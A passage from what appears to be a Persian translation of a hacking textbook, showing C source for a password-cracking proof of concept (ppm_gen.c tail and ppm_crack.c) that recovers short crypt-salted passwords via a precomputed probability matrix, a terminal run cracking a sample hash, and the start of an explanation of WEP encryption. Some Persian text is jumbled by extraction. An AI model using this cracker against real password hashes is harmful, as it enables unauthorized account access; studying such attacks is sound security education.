charval = (i-32)*95 + (j-32);
data[(val*WIDTH)+(charval/8)] |= (1<<(charval%8));
val += (HEIGHT * 4);
charval = (k-32)*95 + (l-32);
data[(val*WIDTH)+(charval/8)] |= (1<<(charval%8));

val = (2 * HEIGHT) + tripleval(code[6], code[7], code[8]);


charval = (i-32)*95 + (j-32);
data[(val*WIDTH)+(charval/8)] |= (1<<(charval%8));
val += (HEIGHT * 4);
charval = (k-32)*95 + (l-32);
data[(val*WIDTH)+(charval/8)] |= (1<<(charval%8));

val = (3 * HEIGHT) + tripleval(code[8], code[9], code[10]);


charval = (i-32)*95 + (j-32);
data[(val*WIDTH)+(charval/8)] |= (1<<(charval%8));
val += (HEIGHT * 4);
charval = (k-32)*95 + (l-32);
data[(val*WIDTH)+(charval/8)] |= (1<<(charval%8));
}
}
}
}
printf("finished.. saving..\n");
fwrite(data, SIZE, 1, handle);
free(data); fclose(handle);
174
}
File: ppm_crack.c

/*********************************************************\
* Password Probability Matrix * File: ppm_crack.c *
***********************************************************
* *
* Author: Jon Erickson <[email protected]> *
* Organization: Phiral Research Laboratories *
* *
* This is the crack program for the PPM proof of concept *
* It uses an existing file called 4char.ppm, which *
* contains information regarding all possible 4 *
* character passwords salted with 'je'. This file can *
* be generated with the corresponding ppm_gen.c program. *
* *
\*********************************************************/

#define _XOPEN_SOURCE
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>

#define HEIGHT 16384


#define WIDTH 1129
#define DEPTH 8
#define SIZE HEIGHT * WIDTH * DEPTH
#define DCM HEIGHT * WIDTH

int singleval(char a)
{
int i, j;
i = (int)a;
if((i >= 46) && (i <= 57))
j = i - 46;
else if ((i >= 65) && (i <= 90))
j = i - 53;
else if ((i >= 97) && (i <= 122))
j = i - 59;
return j;
}

int tripleval(char a, char b, char c)


{
return (((singleval(c)%4)*4096)+(singleval(a)*64)+singleval(b));
}
void merge(char *vector1, char *vector2)
{
int i;
for(i=0; i < WIDTH; i++)
vector1[i] &= vector2[i];
}
int length(char *vector)
{
int i, j, count=0;
for(i=0; i < 9025; i++)
count += ((vector[(i/8)]&(1<<(i%8)))>>(i%8));
return count;
}

int grab(char *vector, int index)


{
char val;
int a, b;
int word = 0;

val = ((vector[(index/8)]&(1<<(index%8)))>>(index%8));
175
if (!val)
index = 31337;
return index;
}
void show(char *vector)
{
int i, a, b;
int val; for(i=0; i < 9025; i++)
{
val = grab(vector, i);
if(val != 31337)
{
a = val / 95;
b = val - (a * 95);
printf("%c%c ",a+32, b+32);
}
}
printf("\n");
}
main()
{
char plain[5];
char pass[14];
char bin_vector1[WIDTH];
char bin_vector2[WIDTH];
char temp_vector[WIDTH];
char prob_vector1[2][9025];
char prob_vector2[2][9025];
int a, b, i, j, len, pv1_len=0, pv2_len=0;
FILE *fd;

if(!(fd = fopen("4char.ppm", "r")))


{
printf("Error: Couldn't open PPM file for reading.\n");
exit(1);
}

printf("Input encrypted password (salted with 'je') : ");


scanf("%s", &pass);

printf("First 2 characters: \tSaturation\n");

fseek(fd,(DCM*0)+tripleval(pass[2], pass[3], pass[4])*WIDTH,


SEEK_SET);
fread(bin_vector1, WIDTH, 1, fd);

len = length(bin_vector1);
printf("sing length = %d\t%f%\n", len, len*100.0/9025.0);

fseek(fd,(DCM*1)+tripleval(pass[4], pass[5], pass[6])*WIDTH,


SEEK_SET);
fread(temp_vector, WIDTH, 1, fd);
merge(bin_vector1, temp_vector);

len = length(bin_vector1);
printf("dual length = %d\t%f%\n", len, len*100.0/9025.0);

fseek(fd,(DCM*2)+tripleval(pass[6], pass[7], pass[8])*WIDTH,


SEEK_SET);
fread(temp_vector, WIDTH, 1, fd);
merge(bin_vector1, temp_vector);

len = length(bin_vector1);
printf("trip length = %d\t%f%\n", len, len*100.0/9025.0);

fseek(fd,(DCM*3)+tripleval(pass[8], pass[9],pass[10])*WIDTH,
SEEK_SET);
176
fread(temp_vector, WIDTH, 1, fd);
merge(bin_vector1, temp_vector);

len = length(bin_vector1);
printf("quad length = %d\t%f%\n", len, len*100.0/9025.0);
show(bin_vector1);
printf("Last 2 characters: \tSaturation\n");

fseek(fd,(DCM*4)+tripleval(pass[2], pass[3], pass[4])*WIDTH,


SEEK_SET);
fread(bin_vector2, WIDTH, 1, fd);

len = length(bin_vector2);
printf("sing length = %d\t%f%\n", len, len*100.0/9025.0);

fseek(fd,(DCM*5)+tripleval(pass[4], pass[5], pass[6])*WIDTH,


SEEK_SET);
fread(temp_vector, WIDTH, 1, fd);
merge(bin_vector2, temp_vector);

len = length(bin_vector2);
printf("dual length = %d\t%f%\n", len, len*100.0/9025.0);

fseek(fd,(DCM*6)+tripleval(pass[6], pass[7], pass[8])*WIDTH,


SEEK_SET);
fread(temp_vector, WIDTH, 1, fd);
merge(bin_vector2, temp_vector);

len = length(bin_vector2);
printf("trip length = %d\t%f%\n", len, len*100.0/9025.0);

fseek(fd,(DCM*7)+tripleval(pass[8], pass[9],pass[10])*WIDTH,
SEEK_SET);
fread(temp_vector, WIDTH, 1, fd);
merge(bin_vector2, temp_vector);

len = length(bin_vector2);
printf("quad length = %d\t%f%\n", len, len*100.0/9025.0);
show(bin_vector2);

printf("Building probability vectors...\n");


for(i=0; i < 9025; i++)
{
j = grab(bin_vector1, i);
if(j != 31337)
{
prob_vector1[0][pv1_len] = j / 95;
prob_vector1[1][pv1_len] = j - (prob_vector1[0][pv1_len] * 95);
pv1_len++;
}
}
for(i=0; i < 9025; i++)
{
j = grab(bin_vector2, i);
if(j != 31337)
{
prob_vector2[0][pv2_len] = j / 95;
prob_vector2[1][pv2_len] = j - (prob_vector2[0][pv2_len] * 95);
pv2_len++;
}
}

printf("Cracking remaining %d possibilites..\n", pv1_len*pv2_len);


for(i=0; i < pv1_len; i++)
{
for(j=0; j < pv2_len; j++)
{
177
plain[0] = prob_vector1[0][i] + 32;
plain[1] = prob_vector1[1][i] + 32;
plain[2] = prob_vector2[0][j] + 32;
plain[3] = prob_vector2[1][j] + 32;
plain[4] = 0;
if(strcmp(crypt(plain, "je"), pass) == 0)
{
printf("Password : %s\n", plain);
i = 31337;
j = 31337;
}
}
}
if(i < 31337)
printf("Password wasn't salted with 'je' or is not 4 chars
long.\n");

fclose(fd);
}
‫ ﻣﯽ ﺗﻮان ﺟﻬﺖ اﯾﺠﺎد ﯾﮏ ﻣـﺎﺗﺮﯾﺲ‬،‫ را ﻫﻤﺎن ﻃﻮر ﮐﻪ در زﯾﺮ ﻧﺸﺎن داده ﺷﺪه اﺳﺖ‬ppm_gen.c ‫اوﻟﯿﻦ ﻗﻄﻌﻪ ﮐﺪ ﯾﻌﻨﯽ‬
:‫ ﮐﺎراﮐﺘﺮی اﺳﺘﻔﺎده ﮐﺮد‬4 ‫اﺣﺘﻤﺎل ﭘﺴﻮرد‬
$ gcc -O3 -o gen ppm_gen.c -lcrypt
$ ./gen
Adding ** to 4char.ppm..
Adding !** to 4char.ppm..
Adding "** to 4char.ppm..
Adding #** to 4char.ppm..
Adding $** to 4char.ppm..
[Output snipped]
$ ls -lh 4char.ppm
-rw-r--r-- 1 matrix users 141M Dec 19 18:52 4char.ppm
$
‫ را ﻣﯽ ﺗﻮان ﺑﻪ ﻣﻨﻈﻮر ﮐﺮک ﮐﺮدن ﭘـﺴﻮرد در ﺧـﻼل ﭼﻨـﺪ ﺛﺎﻧﯿـﻪ اﺳـﺘﻔﺎده ﮐـﺮد‬ppm_crack.c ‫دوﻣﯿﻦ ﻗﻄﻌﻪ ﮐﺪ ﯾﻌﻨﯽ‬
‫ اﯾﻦ ﻣﻄﻠـﺐ در زﯾـﺮ ﻧـﺸﺎن داده‬.(‫" – ﭼﻮن ﺗﻤﺎم ﭘﺴﻮردﻫﺎی ﻣﻤﮑﻦ ﺗﻮﻟﯿﺪ ﺷﺪه اﻧﺪ‬h4R%" ‫)ﺣﺘﯽ ﭘﺴﻮرد دﺷﻮاری ﻣﺜﻞ‬
:‫ﺷﺪه اﺳﺖ‬
$ gcc -O3 -o crack ppm_crack.c -lcrypt
$ perl -e '$hash = crypt("h4R%", "je"); print "$hash\n";'
jeMqqfIfPNNTE
$ ./crack
Input encrypted password (salted with 'je') : jeMqqfIfPNNTE
First 2 characters: Saturation
sing length = 3801 42.116343%
dual length = 1666 18.459834%
trip length = 695 7.700831%
quad length = 287 3.180055%
4 9 N !& !M !Q "/ "5 "W #K #d #g #p $K $O $s %) %Z %\ %r &( &T '- '0 '7 'D
'F (
(v (| )+ ). )E )W *c *p *q *t *x +C -5 -A -[ -a .% .D .S .f /t 02 07 0? 0e
0{ 0| 1A
1U 1V 1Z 1d 2V 2e 2q 3P 3a 3k 3m 4E 4M 4P 4X 4f 6 6, 6C 7: 7@ 7S 7z 8F 8H
9R 9U 9_
9~ :- :q :s ;G ;J ;Z ;k <! <8 =! =3 =H =L =N =Y >V >X ?1 @# @W @v @| AO B/
B0 BO Bz
C( D8 D> E8 EZ F@ G& G? Gj Gy H4 I@ J JN JT JU Jh Jq Ks Ku M) M{ N, N: NC
NF NQ Ny
O/ O[ P9 Pc Q! QA Qi Qv RA Sg Sv T0 Te U& U> UO VT V[ V] Vc Vg Vi W: WG X"
X6 XZ X'
Xp YT YV Y^ Yl Yy Y{ Za [$ [* [9 [m [z \" \+ \C \O \w ]( ]: ]@ ]w _K _j 'q
a. aN a^
ae au b: bG bP cE cP dU d] e! fI fv g! gG h+ h4 hc iI iT iV iZ in k. kp l5
l' lm lq
m, m= mE n0 nD nQ n~ o# o: o^ p0 p1 pC pc q* q0 qQ q{ rA rY s" sD sz tK tw
u- v$ v.
178
‫‪v3 v; v_ vi vo wP wt x" x& x+ x1 xQ xX xi yN yo zO zP zU z[ z^ zf zi zr zt‬‬
‫‪{- {B {a‬‬
‫‪|s }) }+ }? }y ~L ~m‬‬
‫‪Last 2 characters:‬‬ ‫‪Saturation‬‬
‫‪sing length = 3821‬‬ ‫‪42.337950%‬‬
‫‪dual length = 1677‬‬ ‫‪18.581717%‬‬
‫‪trip length = 713‬‬ ‫‪7.900277%‬‬
‫‪quad length = 297‬‬ ‫‪3.290859%‬‬
‫‪! & != !H !I !K !P !X !o !~ "r "{ "} #% #0 $5 $] %K %M %T &" &% &( &0 &4 &I‬‬
‫}& ‪&q‬‬
‫‪'B 'Q 'd )j )w *I *] *e *j *k *o *w *| +B +W ,' ,J ,V -z . .$ .T /' /_ 0Y‬‬
‫!‪0i 0s 1‬‬
‫\‪1= 1l 1v 2- 2/ 2g 2k 3n 4K 4Y 4\ 4y 5- 5M 5O 5} 6+ 62 6E 6j 7* 74 8E 9Q 9‬‬
‫‪9a 9b :8‬‬
‫@‪:; :A :H :S :w ;" ;& ;L <L <m <r <u =, =4 =v >v >x ?& ?' ?j ?w @0 A* B B‬‬
‫‪BT C8 CF‬‬
‫‪CJ CN C} D+ D? DK Dc EM EQ FZ GO GR H) Hj I: I> J( J+ J3 J6 Jm K# K) K@ L,‬‬
‫*‪L1 LT N‬‬
‫*‪NW N' O= O[ Ot P: P\ Ps Q- Qa R% RJ RS S3 Sa T! T$ T@ TR T_ Th U" U1 V‬‬
‫‪V{ W3 Wy Wz‬‬
‫~^ [^ ‪X% X* Y* Y? Yw Z7 Za Zh Zi Zm [F \( \3 \5 \_ \a \b \| ]$ ]. ]2 ]? ]d‬‬
‫‪'1 'F 'f‬‬
‫\‪'y a8 a= aI aK az b, b- bS bz c( cg dB e, eF eJ eK eu fT fW fo g( g> gW g‬‬
‫‪h$ h9 h:‬‬
‫‪h@ hk i? jN ji jn k= kj l7 lo m< m= mT me m| m} n% n? n~ o oF oG oM p" p9‬‬
‫‪p\ q} r6‬‬
‫‪r= rB sA sN s{ s~ tX tp u u2 uQ uU uk v# vG vV vW vl w* w> wD wv x2 xA y:‬‬
‫‪y= y? yM‬‬
‫‪yU yX zK zv {# {) {= {O {m |I |Z }. }; }d ~+ ~C ~a‬‬
‫‪Building probability vectors...‬‬
‫‪Cracking remaining 85239 possibilites..‬‬
‫‪Password :‬‬ ‫‪h4R%‬‬
‫‪$‬‬

‫‪ .4,7‬رﻣﺰﮔﺬاری ﻣﺪل ﺑﯽ ﺳﯿﻢ ‪802.11b‬‬

‫اﻣﻨﯿﺖ ﻣﺪل ﺑﯽ ﺳﯿﻢ ‪ 802.11b‬ﯾﮏ ﭼﺎﻟﺶ ﺑـﺰرگ اﺳـﺖ‪ .‬ﻋـﻮاﻣﻠﯽ ﻣﺜـﻞ ﺿـﻌﻒ در ‪ ،115WEP‬روش رﻣﺰﻧﮕـﺎری ﻣـﻮرد‬
‫اﺳﺘﻔﺎده در ﺣﯿﻄﻪ ﺑﯽ ﺳﯿﻢ ﻋﻮاﻣﻞ ﻣﻬﻢ در ﻧﺎ اﻣﻨﯽ ﻫﺴﺘﻨﺪ‪ .‬ﺟﺰﺋﯿﺎت دﯾﮕﺮی وﺟﻮد دارﻧﺪ ﮐﻪ ﮔﺎﻫﯽ اوﻗﺎت در ﺣﯿﻦ آراﯾﺶ‬
‫ﺑﯽ ﺳﯿﻤﯽ )‪ (wireless deploy‬ﻧﺎدﯾﺪه ﮔﺮﻓﺘﻪ ﻣﯽ ﺷﻮﻧﺪ‪ .‬اﯾﻦ ﺟﺰﺋﯿﺎت در ﻋﻤﻞ ﺑﻪ آﺳﯿﺐ ﭘﺬﯾﺮی ﻫﺎی اﺳﺎﺳﯽ ﻧﺎﺷﯽ ﻣـﯽ‬
‫ﺷﻮﻧﺪ‪.‬‬
‫اﯾﻦ ﺣﻘﯿﻘﺖ ﮐﻪ ﺷﺒﮑﻪ ﻫﺎی ﺑﯽ ﺳﯿﻢ روی ﻻﯾﻪ ‪ 2‬وﺟﻮد داﺷﺘﻪ و ﻋﻤﻞ ﻣﯽ ﮐﻨﻨﺪ ﯾﮑﯽ از اﯾﻦ ﺟﺰﺋﯿﺎت اﺳﺖ‪ .‬اﮔﺮ روی ﺷﺒﮑﻪ‬
‫ﺑﯽ ﺳﯿﻢ‪ ،‬دﯾﻮار آﺗﺶ ﻓﻌﺎل ﻧﺒﺎﺷﺪ ﯾﺎ ﻗﺎﺑﻠﯿﺖ ‪ VLAN‬ﻏﯿﺮﻓﻌﺎل ﻧﺸﺪه ﺑﺎﺷﺪ‪ ،‬ﯾﮏ ﻧﻔﻮذﮔﺮ ﮐﻪ ﺑﺎ ﻧﻘﻄـﻪ دﺳﺘﺮﺳـﯽ ﺑـﯽ ﺳـﯿﻢ‬
‫)‪ 116(AP‬در ارﺗﺒﺎط اﺳﺖ ﻣﯽ ﺗﻮاﻧﺪ ﺑﺎ ‪ ،ARP Redirection‬ﺗﻤﺎم ﺗﺮاﻓﯿﮏ ﺷﺒﮑﻪ ﺑﺎ ﺳﯿﻢ را روی ﺷﺒﮑﻪ ﺑﯽ ﺳﯿﻢ ﻫـﺪاﯾﺖ‬
‫ﮐﻨﺪ‪ .‬اﯾﻦ ﻣﺴﺌﻠﻪ در ﮐﻨﺎر اﯾﻦ ﺣﻘﯿﻘﺖ ﮐﻪ اﻏﻠﺐ ‪ AP‬را در ﺷﺒﮑﻪ ﻫﺎی ﺧﺼﻮﺻﯽ داﺧﻠﯽ ﺑﻪ ﻋﻨﻮان راﺑﻂ اﺳﺘﻔﺎده ﻣـﯽ ﮐﻨﻨـﺪ‪،‬‬
‫ﻣﯽ ﺗﻮاﻧﺪ ﺑﻪ آﺳﯿﺐ ﭘﺬﯾﺮی ﻫﺎی ﺟﺪی ﺑﯿﺎﻧﺠﺎﻣﺪ‪.‬‬
‫اﻟﺒﺘﻪ اﮔﺮ ‪ WEP‬ﻓﻌﺎل ﺑﺎﺷﺪ‪ ،‬ﻓﻘﻂ ﮐﻼﯾﻨﺖ ﻫﺎی ﺑﺎ ﮐﻠﯿﺪ‪ WEP‬ﺻﺤﯿﺢ‪ ،‬اﺟﺎزه ارﺗﺒﺎط ﺑﺎ ‪ AP‬را ﺧﻮاﻫﻨﺪ داﺷﺖ‪ .‬اﮔـﺮ ‪WEP‬‬
‫اﯾﻤﻦ ﺑﺎﺷﺪ‪ ،‬ﻧﺒﺎﯾﺴﺘﯽ ﻫﯿﭻ ﮔﻮﻧﻪ ﻧﮕﺮاﻧﯽ ﺣﻮل ارﺗﺒﺎط ﻧﻔﻮذﮔﺮان ﺑﺎ ‪ AP‬و اﯾﺠﺎد ﺧﺴﺎرت وﺟﻮد داﺷﺘﻪ ﺑﺎﺷﺪ‪ .‬اﮐﻨـﻮن ﺳـﻮال‬
‫اﯾﻨﺠﺎﺳﺖ ﮐﻪ ﭼﻄﻮر‪ WEP‬اﯾﻤﻦ اﺳﺖ؟‬

‫‪115‬‬
‫‪Wired Equivalent Privacy‬‬
‫‪116‬‬
‫‪Wireless Access Point‬‬
‫‪179‬‬
‫‪ .4,7,1‬ﻣﺤﺮﻣﺎﻧﮕﯽ ﺳﯿﻤﯽ ﻣﻌﺎدل )‪(WEP‬‬

‫ﻃﺮح ‪) WEP‬ﯾﺎ ‪ (Wired Equivalent Privacy‬ﺑﻪ ﻋﻨﻮان ﯾﮏ روش رﻣﺰﻧﮕﺎری ﻣﻮرد اﺳﺘﻔﺎده اﺳﺖ ﺗﺎ اﻣﻨﯿﺘﯽ ﻣﻌﺎدل‬
‫ﺑﺎ ﯾﮏ ﻧﻘﻄﻪ دﺳﺘﺮﺳﯽ ﺳﯿﻤﯽ )‪ (wired access point‬را ﻓﺮاﻫﻢ آورد‪ WEP .‬در اﺑﺘﺪا ﺑﺎ ﮐﻠﯿﺪﻫﺎی ‪ 40‬ﺑﯿﺘﯽ ﻃﺮاﺣﯽ ﺷﺪ‬
‫و ﺑﻌﺪا ‪ WEP2‬ﺟﻬﺖ اﻓﺰاﯾﺶ اﻧﺪازه ﮐﻠﯿﺪ ﺑﻪ ‪ 104‬ﺑﯿﺖ ﭘﺪﯾﺪار ﺷﺪ‪ .‬ﺗﻤﺎم ﻓﺮآﯾﻨﺪ رﻣﺰﻧﮕﺎری در اﯾﻦ ﻃﺮح ﺑﺮ اﺳﺎس ﯾﮏ‬
‫ﻗﺎﻋﺪه ﻣﺒﻨﯽ ﺑﺮ ﺑﺴﺘﻪ اﻧﺠﺎم ﻣﯽ ﺷﻮد‪ ،‬ﺑﻨﺎﺑﺮاﯾﻦ ﻻزم اﺳﺖ ﮐﻪ ﻫﺮ ﺑﺴﺘﻪ ﺣﺎوی ﯾﮏ ﭘﯿﺎم ﻣﺘﻦ واﺿﺢ ﺟﺪاﮔﺎﻧـﻪ ﺟﻬـﺖ ارﺳـﺎل‬
‫ﺑﺎﺷﺪ‪ .‬اﯾﻦ ﺑﺴﺘﻪ را ﭘﯿﺎم ﯾﺎ ‪ M‬ﻣﯽ ﻧﺎﻣﯿﻢ‪.‬‬
‫اﺑﺘﺪا ﯾﮏ ﭼﮑﺴﺎم‪ 117‬ﺑﺮای ﭘﯿﺎم ‪ M‬ﻣﺤﺎﺳﺒﻪ ﻣﯽ ﺷﻮد ﺗﺎ ﺑﻌـﺪا ﺑﺘـﻮان ﺻـﺤﺖ ﭘﯿـﺎم )‪ (message integrity‬را ﺑﺮرﺳـﯽ‬
‫ﮐﺮد‪ .‬اﯾﻦ ﮐﺎر ﺑﺎ اﺳﺘﻔﺎده از ﯾﮏ ﺗﺎﺑﻊ ﺑﺮرﺳﯽ اﻓﺰوﻧﮕﯽ ﭼﺮﺧﻪ ای ‪ 32‬ﺑﯿﺘﯽ )‪ (CRC32‬اﻧﺠﺎم ﻣﯽ ﺷـﻮد‪ .‬اﯾـﻦ ﭼﮑـﺴﺎم ‪CS‬‬
‫ﻧﺎﻣﯿﺪه ﺷﺪه )ﭘﺲ )‪ (CS = CRC32(M‬و ﺑﻪ اﻧﺘﻬﺎی ﭘﯿﺎم اﺿﺎﻓﻪ ﻣﯽ ﺷﻮد ﮐﻪ ﻧﻬﺎﯾﺘﺎ ﭘﯿـﺎم ﻣـﺘﻦ واﺿـﺢ ﯾـﺎ ‪ P‬ﺳـﺎﺧﺘﻪ ﻣـﯽ‬
‫ﺷﻮد‪.‬‬

‫اﮐﻨﻮن ﭘﯿﺎم ﻣﺘﻦ واﺿﺢ ﺑﺎﯾﺪ رﻣﺰی ﺷﻮد ﮐﻪ اﯾﻦ ﮐﺎر ﺑﺎ ﻃﺮح‪ RC4‬ﮐﻪ ﯾﮏ رﻣﺰ ﺟﺮﯾﺎﻧﯽ اﺳﺖ اﻧﺠﺎم ﻣﯽ ﺷﻮد‪ .‬اﯾـﻦ رﻣـﺰ ﺑـﺎ‬
‫ﯾــﮏ ﻣﻘــﺪار ﺑﻨﯿــﺎدی )‪ (seed value‬ﻣﻘــﺪار دﻫــﯽ اوﻟﯿـﻪ ﻣــﯽ ﺷــﻮد‪ .‬ﺳــﭙﺲ اﯾــﻦ ﻣﻘــﺪار ﻣــﯽ ﺗﻮاﻧــﺪ ﯾــﮏ ﺟﺮﯾــﺎن ﮐﻠﯿــﺪ‬
‫)‪ (keystream‬را ﺗﻮﻟﯿﺪ ﮐﻨﺪ ﮐﻪ ﯾﮏ ﺟﺮﯾﺎن دﻟﺨﻮاه ﻃﻮﻻﻧﯽ از ﺑﺎﯾﺖ ﻫﺎی ﺷﺒﻪ ﺗﺼﺎدﻓﯽ اﺳﺖ‪ WEP.‬از ﯾﮏ ﺑـﺮدار اوﻟﯿـﻪ‬
‫)‪ 118(IV‬ﺑﺮای ﻣﻘﺪار ﺑﻨﯿﺎدی اﺳﺘﻔﺎده ﻣﯽ ﮐﻨﺪ‪ .‬ﺑﺮدار اوﻟﯿﻪ ﺷﺎﻣﻞ ‪ 24‬ﺑﺎﯾﺖ از ﺑﯿﺖ ﻫﺎی ﻣﺨﺘﻠﻒ اﺳﺖ ﮐﻪ ﺑﺮای ﻫـﺮ ﺑـﺴﺘﻪ‬
‫ﺗﻮﻟﯿﺪ ﺷﺪه اﻧﺪ‪ .‬ﺑﻌﻀﯽ از ﭘﯿﺎده ﺳﺎزی ﻫﺎی ﻗﺪﯾﻤﯽ ﺗﺮ ‪ WEP‬از ﻣﻘـﺎدﯾﺮ ﻣﺘـﻮاﻟﯽ ﺑـﺮای ﺑـﺮدار اوﻟﯿـﻪ اﺳـﺘﻔﺎده ﻣـﯽ ﮐﻨﻨـﺪ‪،‬‬
‫درﺣﺎﻟﯿﮑﻪ ﺑﻌﻀﯽ دﯾﮕﺮ از ﯾﮏ ﺷﺒﻪ ﻣﻮﻟﺪ ﯾـﺎ ﺗﻮﻟﯿﺪﮐﻨﻨـﺪه ﮐـﺎذب )‪ (pseudo-randomizer‬ﺟﻬـﺖ ﺗﻮﻟﯿـﺪ ﻣﻘـﺎدﯾﺮ ﺷـﺒﻪ‬
‫ﺗﺼﺎدﻓﯽ اﺳﺘﻔﺎده ﻣﯽ ﮐﻨﻨﺪ‪.‬‬
‫ﺻﺮﻓﻨﻈﺮ از ﭼﮕﻮﻧﮕﯽ اﻧﺘﺨﺎب ‪ 24‬ﺑﯿﺖ در ﺑﺮدار اوﻟﯿﻪ )ﺗﺼﺎدﻓﯽ ﯾﺎ ﻣﺘﻮاﻟﯽ(‪ ،‬آن ﺑﯿﺖ ﻫﺎ ﺑﻪ اﺑﺘﺪای ﮐﻠﯿﺪ‪ WEP‬اﺿـﺎﻓﻪ ﻣـﯽ‬
‫ﺷﻮﻧﺪ‪ 24 .‬ﺑﯿﺖ ﻣﺮﺑﻮط ﺑﻪ ﺑﺮدار اوﻟﯿﻪ در اﻧﺪازه ﮐﻠﯿﺪ ‪ WEP‬ﺑﻪ ﺣﺴﺎب ﻣﯽ آﯾﻨﺪ )ﺑﻪ اﯾﻦ ﺻـﻮرت ﻫﻨﮕـﺎﻣﯽ ﮐـﻪ ﺳـﺨﻦ از‬
‫ﮐﻠﯿﺪ ﻫﺎی ‪ 64‬ﺑﯿﺘﯽ ﯾﺎ ‪ 128‬ﺑﯿﺘﯽ ﺑﺮای ﮐﻠﯿﺪﻫﺎی ‪ WEP‬ﻣﯽ رود‪ ،‬آﻧﮕﺎه ﮐﻠﯿﺪﻫﺎی واﻗﻌﯽ ﺑﻪ ﺗﺮﺗﯿﺐ ﻓﻘﻂ ‪ 40‬ﺑﯿﺖ ﯾﺎ ‪104‬‬
‫ﺑﯿﺖ ﻃﻮل دارﻧﺪ(‪ .‬ﺑﺮدار اوﻟﯿﻪ و ﮐﻠﯿﺪ ‪ WEP‬ﺑﺎ ﻫﻢ ﻣﻘﺪار ﺑﻨﯿﺎدی را ﻣﯽ ﺳﺎزﻧﺪ ﮐﻪ ‪ S‬ﻧﺎم ﻣﯽ ﮔﯿﺮد‪.‬‬

‫ﺳﭙﺲ ‪ S‬ﺑﻪ ﻋﻨﻮان ورودی ﺑﻪ ﺗﺎﺑﻊ ‪ RC4‬داده ﺷﺪه و ﺧﺮوﺟﯽ آن ﯾﮏ ﺟﺮﯾﺎن ﮐﻠﯿﺪ ﺧﻮاﻫﺪ ﺑﻮد‪ .‬ﺳﭙﺲ ‪ P‬ﺑﺎ اﯾـﻦ ﺟﺮﯾـﺎن‬
‫ﮐﻠﯿﺪ‪ XOR ،‬ﺧﻮاﻫﺪ ﺷﺪ و ﻣﺘﻦ رﻣﺰی را ﺗﻮﻟﯿﺪ ﻣﯽ ﮐﻨﺪ ﮐﻪ ‪ C‬ﻧﺎم ﻣﯽ ﮔﯿﺮد‪ .‬ﺳﭙﺲ ﺑـﺮدار اوﻟﯿـﻪ ﺑـﻪ اﺑﺘـﺪای ﻣـﺘﻦ رﻣـﺰی‬

‫‪117‬ﻋﺒﺎرت ‪) Checksum‬ﭼﮑﺴﺎم( ﯾﺎ ‪ Sumation Check‬ﯾﺎ ﻣﺠﻤﻮع ﻣﻘﺎﺑﻠﻪ ای‪ ،‬ﺑﺮرﺳﯽ ﺗﺠﻤﯿﻌﯽ ﯾﺎ دﯾﮕﺮ ﻧﺎم ﻫﺎی ﻣﻮرد اﺳﺘﻔﺎده‪ ،‬اﺻﻄﻼﺣﺎ ﺑﻪ‬
‫ﻓﺮآﯾﻨﺪی اﻃﻼق ﻣﯽ ﺷﻮد ﮐﻪ ﺑﻌﻀﯽ از ﺑﯿﺖ ﻫﺎی اﻧﺘﻘﺎﻟﯽ در ﯾﮏ ﻓﺮآﯾﻨﺪ اﻧﺘﻘﺎل )ﻣﺜﻼ در ﺷﺒﮑﻪ( ﺑﺮرﺳﯽ ﻣﯽ ﺷﻮﻧﺪ ﺗﺎ ﺑﻪ اﯾﻦ ﺻﻮرت ﺧﻄﺎﻫﺎی‬
‫ﻣﻮﺟﻮد در ﻓﺮآﯾﻨﺪ اﻧﺘﻘﺎل ﮐﺸﻒ ﺷﻮﻧﺪ‪.‬‬
‫‪118‬‬
‫‪Initialization Vector‬‬
‫‪180‬‬
‫اﺿﺎﻓﻪ ﻣﯽ ﺷﻮد‪ .‬اﯾﻦ ﻣﺎﻫﯿﺖ ﺑﻮﺟﻮد آﻣﺪه )ﻣﺘﺸﮑﻞ از ﻣﺘﻦ رﻣﺰی و ﺑﺮدار اوﻟﯿﻪ( ﺑﻪ ﻫﻤﺮاه ﯾﮏ ﻫـﺪر ﮐﭙـﺴﻮﻟﻪ ﺳـﺎزی ﻣـﯽ‬
‫ﺷﻮﻧﺪ و ﻧﻬﺎﯾﺘﺎ از ﻃﺮﯾﻖ اﺗﺼﺎل رادﯾﻮﯾﯽ ارﺳﺎل ﻣﯽ ﺷﻮﻧﺪ‪.‬‬

‫ﻫﻨﮕﺎم درﯾﺎﻓﺖ ﺑﺴﺘﻪ رﻣﺰی ‪ WEP‬در ﻃﺮف ﮔﯿﺮﻧﺪه‪ ،‬ﻓﺮاﯾﻨﺪ ﺑﻪ ﻃﻮر ﻋﮑﺲ ﭘﯿﺶ ﻣﯽ رود‪ .‬ﮔﯿﺮﻧﺪه ﺑﺮدار اوﻟﯿﻪ را از ﭘﯿـﺎم‬
‫ﺟﺪا ﮐﺮده و آﻧﺮا ﺑﺎ ﮐﻠﯿﺪ ‪ WEP‬ﺧﻮد ﺗﻠﻔﯿﻖ ﻣﯽ ﮐﻨﺪ‪ .‬ﺑﻪ اﯾﻦ ﺻﻮرت ﻣﻘﺪار ﺑﻨﯿﺎدی ‪ S‬ﺳﺎﺧﺘﻪ ﻣﯽ ﺷـﻮد‪ .‬اﮔـﺮ ﻓﺮﺳـﺘﻨﺪه و‬
‫ﮔﯿﺮﻧﺪه ﻫﺮ دو ﮐﻠﯿﺪ ‪ WEP‬ﯾﮑﺴﺎﻧﯽ داﺷﺘﻪ ﺑﺎﺷﻨﺪ‪ ،‬ﻣﻘﺎدﯾﺮ ﺑﻨﯿﺎدی ﻧﯿﺰ ﯾﮑﺴﺎن ﺧﻮاﻫﺪ ﺑﻮد‪ .‬ﻣﺠﺪدا اﯾـﻦ ﻣﻘـﺪار ﺑﻨﯿـﺎدی ﺑـﻪ‬
‫ﻋﻨﻮان ورودی ﺑﻪ ‪ RC4‬داده ﺷﺪه و ﻫﻤﺎن ﺟﺮﯾﺎن ﮐﻠﯿﺪ ﻗﺒﻠﯽ ﮐﻪ ﺑﺎ ﺑﺎﻗﯿﻤﺎﻧﺪه ی ﭘﯿﺎم رﻣﺰﺷـﺪه ‪ XOR‬ﺷـﺪه اﺳـﺖ ﺗﻮﻟﯿـﺪ‬
‫ﻣﯽ ﮐﻨﺪ‪ .‬ﺑﻪ اﯾﻦ ﺻﻮرت ﭘﯿﺎم واﺿﺢ اﺻﻠﯽ )‪ (P‬ﮐﻪ ﻣﺘﺸﮑﻞ از ﺗﻠﻔﯿﻖ ﺑﺴﺘﻪ ﭘﯿﺎم )‪ (M‬و ﻣﻘﺪار ﭼﮑﺴﺎم )‪ (CS‬اﺳﺖ ﺗﻮﻟﯿﺪ ﻣﯽ‬
